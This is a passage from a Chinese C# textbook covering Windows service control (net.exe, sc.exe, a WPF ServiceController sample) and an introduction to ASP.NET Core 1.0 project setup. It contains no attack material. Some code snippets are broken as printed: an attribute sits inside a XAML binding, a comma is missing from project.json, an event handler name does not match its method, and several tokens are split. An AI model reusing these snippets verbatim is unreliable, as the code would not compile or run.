停止、启用或禁用服务的控制请求发送给服务,并改变它们的配置。Services管理单元既 是服务控制程序,又是服务配置程序。 图39-11 双击QuoteService,打开如图39-12所示的Quote Service Properties对话框。在这个对话 框中,可以看到服务的名称、描述、可执行文件的路径、启动类型和状态。目前服务已启 动。使用这个对话框中的Log On选项卡,可以改变服务进程的账户。 图39-12 39.4.2 net.exe实用程序 Services管理单元使用起来很简单,但是系统管理员不能使其自动化,原因是它不能 用在管理脚本中。要通过脚本实现的工具自动控制服务,可以用命令行实用程序net.exe来 完成。net start命令显示所有正在运行的服务,net start servicename启动服务,net stop servicename向服务发送停止请求。此外使用net pause和net continue可以暂停和继续服务 (当然,它们只有在服务允许的情况下才能使用)。 39.4.3 sc.exe实用程序 sc.exe是不太出名的一个实用程序,它作为操作系统的一部分发布。sc.exe是管理服务 的一个很有用的工具。与net.exe实用程序相比,sc.exe实用程序的功能更加强大。使用 sc.exe实用程序,可以检查服务的实际状态,或者配置、删除以及添加服务。当服务的卸 载程序不能正常工作时,可以使用sc.exe实用程序卸载服务。 39.4.4 Visual Studio Server Explorer 在Visual Studio中,要使用Server Explorer监控服务,应在树型视图中选择Services节 点,再选择计算机,最后选择Services元素,就可以看到所有服务的状态,如图39-13所 示。选择一个服务,就可以看到服务的属性。 图39-13 39.4.5 编写自定义ServiceController类 下面创建一个小的Windows应用程序,该应用程序使用ServiceController类监控和控制 Windows服务。 创建一个WPF应用程序,其用户界面如图39-14所示。这个应用程序的主窗口包含一 个显示所有服务的列表框、4个文本框(分别用于显示服务的显示名称、状态、类型和名 称)和6个按钮,其中4个按钮用于发送控制事件,一个按钮用于刷新列表,最后一个按钮 用于退出应用程序。 图39-14  注意: WPF的介绍详见第29到第35章。 1.服务的监控 使用ServiceController类,可以获取每一个服务的相关信息。表39-4列出了 ServiceController类的属性。 表39-4 属性 描述 CanPauseAndContinue 如果暂停和继续服务的请求可以发送给服务,则这个属性返 回true CanShutdown 如果服务有用于关闭系统的处理程序,则它的值为true CanStop 如果服务是可以停止的,则它的值为true DependentServices 它返回一个依赖服务的集合。如果停止服务,则所有依赖的 服务都预先停止 ServicesDependentOn 返回这个服务所依赖的服务集合 DisplayName 指定服务应该显示的名称 MachineName 指定运行服务的计算机名 ServiceName 指定服务的名称 ServiceType 指定服务的类型。服务可以运行在共享的进程中,在共享的 进程中,多个服务使用同一进程(Win32ShareProcess)。 此外,服务也可以运行在只包含一个服务的进程 (Win32OwnProcess)中。如果服务可以与桌面交互,其类 型就是InteractiveProcess Status 指定服务的状态。状态可以是正在运行、停止、暂停或处于 某些中间模式(如启动待决、停止待决)等。状态值在 ServiceControllerStatus枚举中定义 在示例应用程序中,使用DisplayName、ServiceName、ServiceType和Status属性显示 服务信息。此外,CanPauseAndContinue和CanStop属性用于启用和禁用Pause、Continue和 Stop按钮。 为了得到用户界面的所有必要信息,创建一个ServiceControllerInfo类。这个类可以用 于数据绑定,并提供状态信息、服务名称、服务类型,以及哪些控制服务的按钮应启用或 禁用的信息。  注意: 因为使用了System.ServiceProcess.ServiceController类,所以必须引用 System. ServiceProcess程序集。 ServiceControllerInfo类包含一个嵌入的ServiceController类,用ServiceControllerInfo类 的构造函数设置它。还有一个只读属性Controller,它用来访问嵌入的ServiceController类 (代码文件ServiceControlWPF/ServiceControllerInfo.cs)。 public class ServiceControllerInfo { public ServiceControllerInfo(ServiceController controller) { Controller = controller; } public ServiceController Controller { get; } // etc. } 为了显示服务的当前信息,可以使用ServiceControllerInfo类的只读属性 DisplayName、ServiceName、ServiceTypeName和ServiceStatusName。DisplayName和 ServiceName属性的实现代码只访问底层类ServiceController的DisplayName和ServiceName 属性。对于ServiceTypeName和ServiceStatusName属性的实现代码,需要完成更多的工 作:服务的状态和类型不太容易返回,因为要显示一个字符串,而不是只显示 ServiceController类返回的数字。ServiceTypeName属性返回一个表示服务类型的字符串。 从ServiceController. ServiceType属性中得到的ServiceType代表一组标记,使用按位OR运 算符,可以把这组标记组合在一起。InteractiveProcess位可以与Win32OwnProcess和 Win32ShareProcess一起设置。首先,在检查其他值之前,一定要先检查以前是否设置过 Interactive-Process位。使用这些服务,返回的字符串将是“Win32 Service Process”或“Win32 Shared Process”(代码文件ServiceControlWPF/ServiceControllerInfo.cs)。 public class ServiceControllerInfo { // etc. public string ServiceTypeName { get { ServiceType type = controller.ServiceType; string serviceTypeName = ""; if ((type & ServiceType.InteractiveProcess) ! = 0) { serviceTypeName = "Interactive "; type -= ServiceType.InteractiveProcess; } switch (type) { case ServiceType.Adapter: serviceTypeName += "Adapter"; break; case ServiceType.FileSystemDriver: case ServiceType.KernelDriver: case ServiceType.RecognizerDriver: serviceTypeName += "Driver"; break; case ServiceType.Win32OwnProcess: serviceTypeName += "Win32 Service Process"; break; case ServiceType.Win32ShareProcess: serviceTypeName += "Win32 Shared Process"; break; default: serviceTypeName += "unknown type " + type.ToString(); break; } return serviceTypeName; } } public string ServiceStatusName { get { switch (Controller.Status) { case ServiceControllerStatus.ContinuePending: return "Continue Pending"; case ServiceControllerStatus.Paused: return "Paused"; case ServiceControllerStatus.PausePending: return "Pause Pending"; case ServiceControllerStatus.StartPending: return "Start Pending"; case ServiceControllerStatus.Running: return "Running"; case ServiceControllerStatus.Stopped: return "Stopped"; case ServiceControllerStatus.StopPending: return "Stop Pending"; default: return "Unknown status"; } } } public string DisplayName => Controller.DisplayName; public string ServiceName => Controller.ServiceName; // etc. } ServiceControllerInfo类还有一些属性可以启用Start、Stop、Pause和Continue按钮: EnableStart、EnableStop、EnablePause和EnableContinue,这些属性根据服务的当前状态返 回一个布尔值(代码文件ServiceControlWPF/ServiceControllerInfo.cs)。 public class ServiceControllerInfo { // etc. public bool EnableStart => Controller.Status == ServiceControllerStatus.Sto pped; public bool EnableStop => Controller.Status == ServiceControllerStatus.Runn ing; public bool EnablePause => Controller.Status == ServiceControllerStatus.Running && Controller.CanPauseAndContinue; public bool EnableContinue => Controller.Status == ServiceControllerStatus. Paused; } 在ServiceControlWindow类中,RefreshServiceList()方法使用 ServiceController.GetServices()方法获取在列表框中显示的所有服务。GetServices() 方法返回一个ServiceController实例的数组,它们表示在操作系统上安装的所有Windows服 务。ServiceController类还有一个静态方法GetDevices(),该方法返回一个表示所有设备 驱动程序的ServiceController数组。返回的数组利用扩展方法OrderBy()按照 DisplayName属性来排序,这是传递给OrderBy()方法的lambda表达式定义的属性。使用 Select()方法,将ServiceController实例转换为ServiceControllerInfo类型。在下面的代码 中传递了一个lambda表达式,它调用每个ServiceController对象的ServiceControllerInfo() 构造函数。最后,将ServiceControllerInfo数组赋予窗口的DataContext属性,进行数据绑定 (代码文件ServiceControlWPF/MainWindow.xaml.cs)。 protected void RefreshServiceList() { this.DataContext = ServiceController.GetServices(). OrderBy(sc => sc.DisplayName). Select(sc => new ServiceControllerInfo(sc)); } 在列表框中获得所有服务的RefreshServiceList()方法在ServiceControlWindow类的 构造函数中调用。这个构造函数还为按钮的Click事件定义了事件处理程序: public ServiceControlWindow() { InitializeComponent(); RefreshServiceList(); } 现在就可以定义XAML代码,把信息绑定到控件上。首先,为显示在列表框中的信息 定义一个DataTemplate。列表框包含一个标签,其Content属性绑定到数据源的 DisplayName属性上。在绑定ServiceControllerInfo对象数组时,用ServiceControllerInfo类 定义DisplayName属性(代码文件ServiceControlWPF/MainWindow.xaml): <Window.Resources> <DataTemplate x:Key="listTemplate"> <Label Content="{Binding DisplayName}"/> </DataTemplate> </Window.Resources> 放在窗口左边的列表框将ItemsSource属性设置为{Binding}。这样,显示在列表中的 数据就从RefreshServiceList()方法设置的DataContext属性中获得。ItemTemplate属性引 用了前面用DataTemplate定义的资源listTemplate。把IsSynchronizedWithCurrentItem属性设 置为True,从而使位于同一个窗口中的文本框和按钮控件绑定到列表框中当前选择的项 上。 <ListBox Grid.Row="0" Grid.Column="0" HorizontalAlignment="Left" Name="listBoxServices" VerticalAlignment="Top" ItemsSource="{Binding}" ItemTemplate="{StaticResource listTemplate}" IsSynchronizedWithCurrentItem="True"> </ListBox> 为了区分按钮控件,使之分别用于启动、停止、暂停、继续服务,定义了下面的枚举 (代码文件ServiceControlWPF/ButtonState.cs): public enum ButtonState { Start, Stop, Pause, Continue } 对于TextBlock控件,Text属性绑定到ServiceControllerInfo实例的对应属性上。按钮控 件是启用还是禁用也从数据绑定中定义,即把IsEnabled属性绑定到ServiceControllerInfo实 例的对应属性上,该属性返回一个布尔值。给按钮的Tag属性赋予前面定义的ButtonState 枚举的一个值,以便在同一个处理程序方法OnServiceCommand中区分按钮(代码文件 ServiceControlWPF/MainWindow.xaml): <TextBlock Grid.Row="0" Grid.ColumnSpan="2" Text="{Binding /DisplayName, Mode=OneTime}" /> <TextBlock Grid.Row="1" Grid.ColumnSpan="2" Text="{Binding /ServiceStatusName, Mode=OneTime}" /> <TextBlock Grid.Row="2" Grid.ColumnSpan="2" Text="{Binding /ServiceTypeName, Mode=OneTime}" /> <TextBlock Grid.Row="3" Grid.ColumnSpan="2" Text="{Binding /ServiceName, Mode=OneTime}" /> <Button Grid.Row="4" Grid.Column="0" Content="Start" IsEnabled="{Binding /EnableStart, Mode=OneTime}" Tag="{x:Static local:ButtonState.Start}" Click="OnServiceCommand" /> <Button Grid.Row="4" Grid.Column="1" Name="buttonStop" Content="Stop" IsEnabled="{Binding /EnableStop, Mode=OneTime}" Tag="{x:Static local:ButtonState.Stop}" Click="OnServiceCommand" /> <Button Grid.Row="5" Grid.Column="0" Name="buttonPause" Content="Pause" IsEnabled="{Binding /EnablePause, Mode=OneTime}" Tag="{x:Static local:ButtonState.Pause}" Click="OnServiceCommand" /> <Button Grid.Row="5" Grid.Column="1" Name="buttonContinue" Content="Continue" IsEnabled="{Binding /EnableContinue, Tag="{x:Static local:ButtonState.Continue}" Mode=OneTime}" Click="OnServiceCommand" /> <Button Grid.Row="6" Grid.Column="0" Name="buttonRefresh" Content="Refresh" Click="OnRefresh" /> <Button Grid.Row="6" Grid.Column="1" Name="buttonExit" Content="Exit" Click="OnExit" /> 2.服务的控制 使用ServiceController类,也可以把控制请求发送给服务,该类的方法如表39-5所示。 表39-5 方法 说明 Start() Start()方法告诉SCM应启动服务。在服务程序示例中,调 用了OnStart()方法 Stop() 如果CanStop属性在服务类中的值是true,则在SCM的帮助 下,Stop()方法调用服务程序中的OnStop()方法 Pause() 如果CanPauseAndContinue属性的值是true,则Pause()方 法调用OnPause()方法 Continue() 如果CanPauseAndContinue属性的值是true,则Continue() 方法调用OnContinue()方法 ExecuteCommand() 使用ExecuteCommand()可以把定制的命令发送给服务 下面就是控制服务的代码。因为启动、停止、挂起和暂停服务的代码是相似的,所以 仅为这4个按钮使用一个处理程序(代码文件ServiceControlWPF/MainWindow. xaml.cs): protected void OnServiceCommand(object sender, RoutedEventArgs e) { Cursor oldCursor = this.Cursor; try { this.Cursor = Cursors.Wait; ButtonState currentButtonState = (ButtonState)(sender as Button).Tag; var si = listBoxServices.SelectedItem as ServiceControllerInfo; if (currentButtonState == ButtonState.Start) { si.Controller.Start(); si.Controller.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(10)); } else if (currentButtonState == ButtonState.Stop) { si.Controller.Stop(); si.Controller.WaitForStatus(ServiceControllerStatus.Stopped, TimeSpan.FromSeconds(10)); } else if (currentButtonState == ButtonState.Pause) { si.Controller.Pause(); si.Controller.WaitForStatus(ServiceControllerStatus.Paused, TimeSpan.FromSeconds(10)); } else if (currentButtonState == ButtonState.Continue) { si.Controller.Continue(); si.Controller.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(10)); } int index = listBoxServices.SelectedIndex; RefreshServiceList(); listBoxServices.SelectedIndex = index; } catch (System.ServiceProcess.TimeoutException ex) { MessageBox.Show(ex.Message, "Timout Service Controller", MessageBoxButton.OK, MessageBoxImage.Error); } catch (InvalidOperationException ex) { MessageBox.Show(String.Format("{0} {1}", ex.Message, ex.InnerException ! = null ? ex.InnerException.Message: String.Empty), MessageBoxButton.OK, MessageBoxImage.Error); } finally { this.Cursor = oldCursor; } } protected void OnExit(object sender, RoutedEventArgs e) => Application.Current.Shutdown(); protected void OnRefresh_Click(object sender, RoutedEventArgs e) => RefreshServiceList(); 由于控制服务要花费一定的时间,因此光标在第一条语句中切换为等待光标。然后, 根据所按下的按钮调用ServiceController类的方法。使用WaitForStatus()方法,表明用户 正在等待检查服务把状态改为被请求的值,但是我们最多等待10秒。在10秒之后,就会刷 新列表框中的信息,并把选中的索引设置为与以前相同的值,接着显示这个服务的新状 态。 因为应用程序需要管理权限,大多数服务都需要管理权限来启动和停止,所以把一个 应用程序清单添加到项目中,并把requestedExecutionLevel属性设置为 requireAdministrator(代码文件Service-ControlWPF/app.manifest)。 <? xml version="1.0" encoding="utf-8"? > <asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="requireAdministrator" uiAccess="false" /> </requestedPrivileges> </security> </trustInfo> </asmv1:assembly> 运行应用程序的结果如图39-15所示。 图39-15 39.5 故障排除和事件日志 服务方面的故障排除与其他类型应用程序的故障排除并不相同。本节将讨论一些服务 问题、交互式服务特有的问题和事件日志。 创建服务最好的方式就是在实际创建服务之前,先创建一个具有所需功能的程序集和 一个测试客户端,以便进行正常的调试和错误处理。只要应用程序运行,就可以使用该程 序集创建服务。当然,对于服务,仍然存在下列问题: ● 在服务中,错误信息不显示在消息框中(除了运行在客户端系统上的交互式服务之 外),而是使用事件日志服务把错误写入事件日志中。当然,在使用服务的客户 端应用程序中,可以显示一个消息框,以通知用户出现了错误。 ● 虽然服务不能从调试器中启动,但是调试器可以与正在运行的服务进程联系起来。 打开带有服务源代码的解决方案,并且设置断点。从Visual Studio的Debug菜单中 选择Processes命令,关联正在运行的服务进程。 ● 性能监视器可以用于监控服务的行为。可以把自己的性能对象添加到服务中,这样 可以添加一些有用的信息,以便进行调试。例如,通过Quote服务,可以建立一个 对象,让它给出返回的引用总数和初始化花费的时间等。 把事件添加到事件日志中,服务就可以报告错误和其他信息。当AutoLog属性设置为 true时,从ServiceBase类中派生的服务类可以自动把事件写入日志中。ServiceBase类检查 AutoLog属性,并且在启动、停止、暂停和继续请求时编写日志条目。 图39-16是服务中的一个日志条目示例。 图39-16  注意: 事件日志和如何编写自定义事件的内容详见第20章。 39.6 小结 本章讨论了Windows服务的体系结构和如何使用.NET Framework创建Windows服务。 应用程序可以与Windows服务一起在系统启动时自动启动,也可以把具有特权的System账 户用作服务的用户。Windows服务从主函数、service-main函数和处理程序中创建。本章还 介绍了与Windows服务相关的其他程序,如服务控制程序和服务安装程序。 .NET Framework对Windows服务提供了很好的支持。创建、控制和安装服务所需的代 码都封装在System.ServiceProcess名称空间的.NET Framework类中。从ServiceBase类中派 生一个类,就可以重写暂停、继续或停止服务时调用的方法。对于服务的安装, ServiceProcessInstaller类和ServiceInstaller类可以处理服务所需的所有注册表配置。还可以 使用ServiceController类控制和监控服务。 第40章介绍ASP.NET Core 1.0,这个技术使用Web服务器,一般运行在Windows服务 中(假定服务器在Windows操作系统上使用)。 第40章 ASP.NET Core 本章要点 ● 了解ASP.NET Core 1.0和Web技术 ● 使用静态内容 ● 处理HTTP请求和响应 ● 使用依赖注入和ASP.NET ● 定义简单的定制路由 ● 创建中间件组件 ● 使用会话管理状态 ● 读取配置设置 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码包含的示例文件是WebSampleApp。 40.1 ASP.NET Core 1.0 在走过15年之后,ASP.NET Core 1.0完全重写了ASP.NET。它的特色在于采用模块化 编程,完全开源,是轻量级的,最适合用在云上,可用于非微软平台。 完全重写的ASP.NET有很多优势,但这也意味着重写基于老版本ASP.NET的现有Web 应用程序。有必要把现有的Web应用程序重写为ASP.NET Core 1.0版本吗?下面试着回答 这个问题。 ASP.NET Web Forms不再是ASP.NET Core 1.0的一部分。但是,在Web应用程序中包 括这项技术并不意味着必须重写它们。仍然可以用完整框架维护用ASP.NET Web Forms编 写的旧应用程序。在最新版本ASP.NET 4.6中,ASP.NET Web Forms甚至有一些增强,如 异步的模型绑定。 ASP.NET MVC仍然是ASP.NET Core 1.0的一部分。因为ASP.NET MVC 6已经完全重 写,所以需要修改用ASP.NET MVC 5或旧版本编写的Web应用程序,把它们带到新的应 用程序堆栈中。 将ASP.NET Web Forms转换为ASP.NET MVC可能需要做很多工作。ASP.NET Web Forms从开发人员手中抽象出了HTML和JavaScript。使用ASP.NET Web Forms,就没有必 要了解HTML和JavaScript。只需要使用服务器端控件和C#代码。服务器端控件返回HTML 和JavaScript。此编程模型类似于旧的Windows Forms编程模型。使用ASP.NET MVC,开 发人员需要了解HTML和JavaScript。ASP.NET MVC基于模型-视图-控制器(MVC)模 式,便于进行单元测试。因为ASP.NET Web Forms和ASP.NET MVC基于完全不同的体系 结构模式,所以把ASP.NET Web Forms应用程序迁移到ASP.NET MVC是一个艰巨的任 务。承担这个任务之前,应该创建一个清单,列出解决方案仍使用旧技术的优缺点,并与 新技术的优缺点进行比较。未来多年仍可以使用ASP.NET Web Forms。  注意: 网站http://www.cninnoation.com最初用ASP.NET Web Forms创建。这 个用ASP.NET MVC早期版本创建的网站被转换到这项新技术堆栈中。因为原来的网站 使用了很多独立的组件,抽象出了数据库和服务代码,所以工作量不大,很快就完成 了。可以在ASP.NET MVC中直接使用数据库和服务。另一方面,如果使用Web Forms 控件访问数据库,而不是使用自己的控件,工作量就很大。  注意: 本书不介绍旧技术ASP.NET Web Forms,也不讨论ASP.NET MVC 5。本书主要论述新技术;因此对于Web应用程序,这些内容基于ASP.NET 5和 ASP.NET MVC 6。这些技术应该用于新Web应用程序。如果需要维护旧应用程序,应 该阅读本书的旧版,如《C#高级编程(第9版)——C# 5.0 & .NET 4.5.1》,其中介绍 了ASP.NET 4.5、ASP.NET Web Forms 4.5和ASP.NET MVC 5。 本章介绍ASP.NET Core 1.0的基础知识。第41章解释ASP.NET MVC 6的用法,这个 框架建立在ASP.NET Core 1.0的基础之上。 40.2 Web技术 在介绍ASP.NET的基础知识之前,本节讨论创建Web应用程序时必须了解的核心Web 技术:HTML、CSS、JavaScript和jQuery。 40.2.1 HTML HTML是由Web浏览器解释的标记语言。它定义的元素显示各种标题、表格、列表和 输入元素,如文本框和组合框。 2014年10月以来,HTML5已经成为W3C推荐标准(http://w3.org/TR/html5),所有主 流浏览器都提供了它。有了HTML5的特性,就不再需要一些浏览器插件(如Flash和 Silverlight)了,因为插件可以执行的操作现在都可以直接使用HTML和JavaScript完成。 当然,可能仍然需要Flash和Silverlight,因为不是所有的网站都转而使用新技术,或用户 可能仍然使用不支持HTML5的旧浏览器版本。 HTML5添加的新语义元素可以由搜索引擎使用,更好地分析站点。canvas元素可以 动态使用2D图形和图像,video和audio元素使object元素过时了。由于最近添加的媒体源 (http://w3c.github.io/media-source),自适应流媒体也由HTML提供;此前这是Silverlight 的一个优势。 HTML5还为拖放操作、存储器、Web套接字等定义了API。 40.2.2 CSS HTML定义了Web页面的内容,CSS定义了其外观。例如,在HTML的早期,列表项 标记<li>定义列表元素在显示时是否应带有圆、圆盘或方框。目前,这些信息已从HTML 中完全删除,而放在CSS中。 在CSS样式中,HTML元素可以使用灵活的选择器来选择,还可以为这些元素定义样 式。元素可以通过其ID或名称来选择,也可以定义CSS类,从HTML代码中引用。在CSS 的新版本中,可以定义相当复杂的规则,来选择特定的HTML元素。 自Visual Studio 2015起,Web项目模板使用Twitter Bootstrap,这是CSS和HTML约定 的集合。这使得我们很容易采用不同的外观,下载易用的模板。文档和基本模板可参阅 www.getbootstrap.com。 40.2.3 JavaScript和TypeScript 并不是所有的平台和浏览器都能使用.NET代码,但几乎所有的浏览器都能理解 JavaScript。对JavaScript的一个常见误解是它与Java相关。实际上,它们只是名称相似, 因为Netscape(JavaScript的发起者)与Sun(Sun发明了Java)达成了协议,允许在名称中 使用Java。如今,这两个公司不再存在。Sun被Oracle收购,现在Oracle持有Java的商标。 Java和JavaScript有相同的根(C编程语言), C#也是这样。JavaScript是一种函数式编 程语言,不是面向对象的,但它添加了面向对象功能。 JavaScript允许从HTML页面访问DOM,因此可以在客户端动态改变元素。 ECMAScript是一个标准,它定义了JavaScript语言的当前和未来功能。因为其他公司 在其语言实现中不允许使用Java这个词,所以该标准的名称是ECMAScript。Microsoft的 JavaScript实现被命名为JScript。访问http://www.ecmascript.org,可了解JavaScript语言的当 前状态和未来的变化。 尽管许多浏览器不支持最新的ECMAScript版本,但仍然可以编写ECMAScript 5代 码。不是编写JavaScript代码,而是可以使用TypeScript。TypeScript语法基于 ECMAScript,但是它有一些改进,如强类型代码和注解。C#和TypeScript有很多相似的地 方。因为TypeScript编译器编译成JavaScript,所以TypeScript可以用在需要JavaScript的所 有地方。有关TypeScript的更多信息可访问http://www.typescriptlang.org。 40.2.4 脚本库 除了JavaScript编程语言之外,还需要脚本库简化编程工作。 ● jQuery(http://www.jquery.org)是一个库,它抽象出了访问DOM元素和响应事件时 的浏览器的差异。 ● Angular(http://angularjs.org)是一个基于MVC模式的库,用单页面的Web应用程序 简化了开发和测试(与ASP.NET MVC不同,Angular提供了MVC模式与客户端代 码)。 ASP.NET Web项目模板包括jQuery库和Bootstrap。Visual Studio 2015支持智能感知和 对JavaScript代码的调试。  注意: 本书未涉及指定Web应用程序的样式和编写JavaScript代码。关于 HTML和样式,可以参阅John Ducket编著的《HTML & CSS设计与构建网站》;进而阅 读Nicholas C.Zakas编著的Professional JavaScript for Web Developers (Wrox,2012)。 40.3 ASP.NET Web项目 首先创建一个空的ASP.NET Core 1.0 Web Application,命名为WebSampleApp(参见 图40-1)。从空模板开始,在阅读本章的过程中添加功能。 图40-1  注意: 在本章的下载示例代码中,需要在Startup类中取消特定代码块的注 释,来激活所讨论的特性。还可以从头开始创建项目。不需要编写很多代码,就能运 行所有的功能。 创建了这个项目后,会看到一个解决方案和一个项目文件WebSampleApp,其中包括 一些文件和文件夹(参见图40-2)。 图40-2 解决方案包括global.json配置文件。这个文件列出了解决方案的目录。在下面的代码 片段中,可以看到它和projects键的值。src目录包含解决方案的所有项目和源代码。test目 录用于定义单元测试,但目前它们还不存在。sdk设置定义了使用的SDK的版本号(代码 文件global.json)。 { "projects": [ "src", "test" ], "sdk": { "version": "1.0.0-0" } } 在项目结构中,用浏览器打开文件Project_Readme.html,会看到ASP.NET Core 1.0的 一些整体信息。项目文件夹中有一个References文件夹。这包含所有引用的NuGet包。在 空的ASP.NET Web Application项目中,引用的包只有 Microsoft.AspNetCore.IISPlatformHandler和Microsoft.AspNetCore.Server.Kestrel。 IISPlatformHandler包含IIS的一个模块,它把IIS基础架构映射到ASP NET Core 1.0 上。Kestrel是一个用于ASP.NET Core 1.0的新Web服务器,也可以在Linux平台上使用。 在project.json文件中还可以找到NuGet包的引用(在下面的代码片段中,它们在 dependencies部分)。frameworks部分列出了支持的.NET框架,如net452(.NET 4.5.2)和 netstandard1.0(.NET Core 1.0)。可以删除不需要驻留的框架。exclude部分列出了不应该 用于编译应用程序的文件和目录。publishExclude部分列出了不应该发布的文件和文件夹 (代码文件WebSampleApp/project.json): { "version": "1.0.0-*", "compilationOptions": { "emitEntryPoint": true }, "dependencies": { "NETStandard.Library": "1.0.0-*", "Microsoft.AspNetCore.IISPlatformHandler": "1.0.0-*", "Microsoft.AspNetCore.Server.Kestrel": "1.0.0-*" }, "frameworks": { "net452": { }, "netstandard1.0": { "dependencies": { "NETStandard.Library": "1.0.0-*" } } }, "content": [ "hosting.json" ] "exclude": [ "wwwroot", "node_modules" ], "publishExclude": [ "**.user", "**.vspscc" ] } 在Project设置的Debug选项中可以配置用Visual Studio开发时使用的Web服务器(参见 图40-3)。默认情况下,在Debug设置中,用指定的端口号配置IIS Express。IIS Express来 源于IIS,提供了IIS的所有核心特性。所以在以后托管Web应用程序的环境中,很容易开 发该应用程序(假设使用IIS托管)。 图40-3 用Kestrel服务器运行应用程序时,可以使用Debug Project设置选择Web配置文件。在 Profile选项中通过列表列出的选项是project.json中列出的命令。 用Visual Studio项目设置改变的设置会影响launchSettings.json文件的配置。通过这个 文件可以定义一些额外的配置,例如命令行参数(代码文件 WebSampleApp/Properties/launchsettings.json): { "iisSettings": { "windowsAuthentication": false, "anonymousAuthentication": true, "iisExpress": { "applicationUrl": "http://localhost:19879/", "sslPort": 0 } }, "profiles": { "IIS Express": { "commandName": "IISExpress", "launchBrowser": true, "environmentVariables": { "Hosting:Environment": "Development" } }, "web": { "commandName": "web", "launchBrowser": true, "launchUrl": "http://localhost:5000/", "commandLineArgs": "Environment=Development", "environmentVariables": { "Hosting:Environment": "Development" } } } } 在Solution Explorer中,项目结构中的Dependencies文件夹显示了JavaScript库的依赖 项。创建空项目时,这个文件夹是空的。本章后面的40.5节会添加依赖项。 wwwroot文件夹是需要发布到服务器的静态文件的文件夹。目前,这个文件夹是空 的,但是在阅读本章的过程中,会添加HTML和CSS文件以及JavaScript库。 C#源文件Startup.cs也包含在空项目中。这个文件在下面讨论。 在创建项目时,需要如下依赖项和名称空间: 依赖项 Microsoft.AspNetCore.Http.Abstractions Microsoft.AspNetCore.IISPlatformHandler Microsoft.AspNetCore.Server.Kestrel Microsoft.AspNetCore.StaticFiles Microsoft.AspNetCore.Session Microsoft.Extensions.Configuration Microsoft.Extensions.Configuration.UserSecrets Microsoft.Extensions.Logging Microsoft.Extensions.Logging.Console Microsoft.Extensions.Logging.Debug Microsoft.Extensions.PlatformAbstractions Newtonsoft.Json System.Globalization System.Text.Encodings.Web System.Runtime 名称空间 Microsoft.AspNetCore.Builder; Microsoft.AspNetCore.Hosting; Microsoft.AspNetCore.Http; Microsoft.Extensions.Configuration Microsoft.Extensions.DependencyInjection Microsoft.Extensions.Logging Microsoft.Extensions.PlatformAbstractions Newtonsoft.Json System System.Globalization System.Linq System.Text System.Text.Encodings.Web System.Threading.Tasks 40.4 启动 下面开始建立Web应用程序的一些功能。为了获得有关客户端的信息并返回一个响 应,需要编写对HttpContext的响应。 使用空的ASP.NET Web应用程序模板创建一个Startup类,其中包含以下代码(代码 文件WebSampleApp/Startup.cs): using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.Extensions.DependencyInjection; // etc. namespace WebSampleApp { public class Startup { public void ConfigureServices(IServiceCollection services) { } public void Configure(IApplicationBuilder app, ILoggerFactory loggerFacto ry) { app.UseIISPlatformHandler(); // etc. app.Run(async(context) => { await context.Response.WriteAsync("Hello World! "); }); } public static void Main(string[] args) { var host = new WebHostBuilder() .UseDefaultConfiguration(args) .UseStartup<Startup>() .Build(); host.Run(); } } } Web应用程序的入口点是Main方法。通过project.json配置文件中的emitEntryPoint配 置,可以定义是否应该使用Main方法。本书创建的.NET Core控制台应用程序也定义了 Main方法。只有库不需要Main方法。 对于从Visual Studio模板中生成的默认实现,Web应用程序使用WebHostBuilder实例 配置。使用WebHostBuilder调用UseDefaultConfiguration方法。这个方法接收命令行参数, 并创建一个配置,其中包括可选的托管文件(hosting.json),增加环境变量,并将命令行 参数添加到配置中。UseStartup方法定义为使用Startup类,该类调用ConfigureServices和 Configure方法。最后一个用WebApp-licationBuilder调用的方法是Build,它返回一个实现 IWebApplication接口的对象。对于返回的应用程序对象,调用Run方法,这会启动托管引 擎;现在服务器在监听和等待请求。 hosting.json文件用于配置服务器(代码文件WebSampleApp/hosting.json): { "server": "Microsoft.AspNetCore.Server.Kestrel", "server.urls": "http://localhost:5000" } 因为Startup类通过一个泛型模板参数被传递给UseStartup方法,所以接着调用 ConfigureServices和Configure方法。 Configure方法通过实现IApplicationBuilder接口的依赖注入,接收一个内部应用程序 构建器类型。此接口用于定义应用程序使用的服务。调用这个接口的Use方法,可以构建 HTTP请求管道,来定义响应请求时应该做什么。Run方法是IApplicationBuilder接口的一 个扩展方法;它调用Use方法。这个方法通过程序集 Microsoft.AspNetCore.Http.Abstractions和名称空间Microsoft.AspNet-Core.Builder中的 RunExtensions扩展类来实现。 Run方法的参数是一个RequestDelegate类型的委托。这个类型接收一个HttpContext作 为参数,返回一个Task。使用HttpContext(代码片段中的context变量),可以在浏览器中 访问请求信息(HTTP标题、cookie和表单数据),并且可以发送一个响应。代码片段给 客户端返回一个简单的字符串Hello, World !,如图40-4所示。 图40-4  注意: 如果使用Microsoft Edge测试Web应用程序,就需要启用localhost。在 URL框中输入about:flags,启用Allow localhost loopback选项(参见图40-5)。除了使用 Microsoft Edge内置的用户界面设置此选项之外,还可以使用命令行选项:实用工具 CheckNetIsolation。命令: CheckNetIsolation LoopbackExempt -a -n=Microsoft.MicrosoftEdge_8wek yb3d8bbwe 图40-5 可以启用localhost,类似于使用Microsoft Edge的更友好的用户界面。如果想配置其他 Windows应用程序以启用localhost,也可以使用实用程序CheckNetIsolation。 给Web应用程序添加日志信息是非常有用的,可以获得当前状态的更多信息。为此, Startup类的Configure方法接收一个ILoggerFactory对象。通过这个接口,可以使用 AddProvider方法添加日志记录器提供程序,并使用CreateLogger方法创建一个实现ILogger 接口的日志记录器。如下面的代码片段所示,AddConsole和AddDebug是添加不同提供程 序的扩展方法。AddConsole方法添加的提供程序把日志信息写到控制台,AddDebug方法 添加的提供程序把日志信息写到调试器。使用这两个方法但不传递参数值,就可以把默认 